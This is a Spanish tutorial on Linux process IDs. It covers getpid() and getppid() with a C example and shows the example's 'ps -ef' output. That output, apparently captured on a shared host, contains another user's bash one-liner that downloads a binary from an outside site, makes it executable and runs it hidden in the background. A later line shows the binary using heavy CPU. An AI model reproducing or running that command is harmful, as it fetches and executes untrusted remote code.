Procesar informacion

Antes de entrar en el proceso de información, necesitamos saber algunas cosas, como:

¿Qué es un proceso? Un proceso es un programa en ejecución.

¿Qué es un programa? Un programa es un archivo que contiene la información de un proceso y cómo construirlo durante el tiempo de ejecución. Cuando inicia la ejecución del programa, se carga en la RAM y comienza a ejecutarse.

Cada proceso se identifica con un número entero positivo único llamado ID de proceso o simplemente PID (número de identificación de proceso). El kernel generalmente limita el ID del proceso a 32767, que es configurable. Cuando la identificación del proceso alcanza este límite, se restablece nuevamente, que es después del rango de procesos del sistema. Los ID de proceso no utilizados de ese contador se asignan a los procesos recién creados.

La llamada al sistema getpid () devuelve el ID de proceso del proceso de llamada.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Esta llamada devuelve el ID de proceso del proceso de llamada que se garantiza que es único. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.

Cada proceso tiene su ID único llamado ID de proceso que está bien, pero ¿quién lo creó? ¿Cómo obtener información sobre su creador? El proceso del creador se llama proceso padre. El ID de padre o PPID se puede obtener mediante la llamada getppid ().

La llamada al sistema getppid () devuelve el PID principal del proceso de llamada.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Esta llamada devuelve el ID de proceso principal del proceso de llamada. Esta llamada siempre tiene éxito y, por lo tanto, no devuelve ningún valor que indique un error.

Entendamos esto con un ejemplo sencillo.

A continuación se muestra un programa para conocer el PID y PPID del proceso de llamada.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Tras la compilación y ejecución del programa anterior, el resultado será el siguiente.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- El sistema de funciones de la biblioteca "C" () ejecuta un comando de shell. Los argumentos pasados ​​a system () son comandos ejecutados en el shell. En el programa anterior, el comando es "ps", que da el estado del proceso.

Se puede acceder a la información completa sobre todos los procesos en ejecución y otra información relacionada con el sistema desde el sistema de archivos proc disponible en la ubicación / proc.